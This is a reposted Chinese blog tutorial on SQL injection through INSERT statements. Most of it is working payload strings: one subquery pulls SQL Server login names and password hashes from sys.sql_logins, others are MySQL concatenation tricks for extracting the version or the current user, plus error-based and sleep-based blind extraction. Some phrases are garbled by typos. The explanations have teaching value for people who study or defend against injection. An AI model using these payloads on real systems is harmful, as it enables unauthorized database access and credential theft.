SQL中insert注入(4)

转载自:https://blog.csdn.net/qq_41007744/article/details/80213449

insert注入

第一种情况:插入数据

查询如下:

insert into table (col1,col2) values ('injectable','not injectable')

原始的URL如下:

?firstname=john&lastname=smith

请求被解析:

insert into table (firstname,lastname) values ('john','smith')

因此可以注入如下字符串,作为firstname的参数的值:

john',(select top 1 name +'|'+master.sys.fn_varbintohexstr(password_hash) from sys.sql_logins))-- 

注入后产生如下查询

insert into table (firstname,lastname) values ('john',(select top 1 name +'|'+master.sys.fn_varbintohexstr(password_hash) from sys.sql_logins))-- ','smith')

在第二列插入数据。注入了一个子查询,将第一个数据库用户的用户名和密码的哈希连接成一个字符串。其中还是用fn_varbintohexstr()函数将二进制的哈希值转换成十六进制

例2

mysql数据中有如下查询

insert into table (col1,col2) values ('not injectable','injectable')

可注入的参数是后一个,无法像前面那样子关闭一个参数并重新开始构造下一个参数。现在必须处理一个用应用程序"已经打开但还未关闭"的参数,这对注入sql代码产生一定的限制。第一种处理思路:使用一个子铲鲟并将铲鲟结果连接道受用户控制的字段。

如下

insert into table (col1,col2) values ('foo','bar' || (select @@version)) --

如果mysql处于ANSI模式,那么该语句可以顺利执行。然而情况并非如此,当并未实现 PIPES_AS_QUOTES(比如处于TRADITIONAL模式),那么||操作符被解析为or逻辑操作符,而不是连接字符

可以使用concat函数替换此功能,它可以用于values之后,但需要放在对应列参数值一开始的位置,如

insert into table (col1,col2) values ('foo',concat('bar',(select @@version))) --

当一个整数与一个字符相加时,整数具有操作符优先级

可以用这个技巧提取数据,只需要将数据转换为整数,然后将它加到有你控制的字符串的词首部分

insert into table (col1,col2) values ('foo','d'+substring((select @@version),1,1)+'');

想要转换非整数字符,可以使用ascii

insert into table (col1,col2) values ('foo','bar'+/**/ascii(substring(user(),1,1))+'')

第二种情况:生成insert错误

查询如下:

insert into users (name,age) values ('foo',10)

可以在name中注入触发错误

foo',(select top 1 name from users where age=@@version))-- 

注入一个子查询,试图从users中检索一行数据,但由于@@version不是数值,因此失效,返回下列消息

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86)...

我们已经提取到详细的版本信息
为了获得想要提取的信息,实际上需要使注入的内部查询能成功执行,同时为了避免数据产生修改,需要让外部查询失败。

总体的策略是基于标量子查询,标量子查询就是只返回单列值而不是多列值或多行的子查询例如

select (select column1 from table1 where colum1='test')

如果内部查询只返回一个值,外部查询将执行成功。但返回超过一个的结果,将终止外部查询并报错

即使外部查询被终止,内部查询也已经成功执行。

select (select case when @@version like '5.1.56%' then sleep(5) else 'somevalue' end from ((select 'value1' as foobar) union (select 'value2' as foorbar)) alias)

case语句检索提取的mysql的版本信息,如果正确sleep命令将延迟五秒,同时union确保外部select返回两行数据,从而产生错误。

假设我们可以注入下面的查询

insert into table1 values ('injectable')

可以注入下面的语句

'|| select (select case when @@version like'5.1.56%' then sleep(5) else 'somevalue' end from ((select 'values1' as foobar)union (select 'value2' as foobar)) alias) || '

注入后的查询如下

insert into table1 values ('' || select (select case when @@version like '5.1.56%' then sleep(5) else 'somevalue' end from ((select 'value1' as foobar)union (select 'value2' as foobar)) alias) || '')

猜你喜欢

转载自blog.csdn.net/xuchen16/article/details/82904555
今日推荐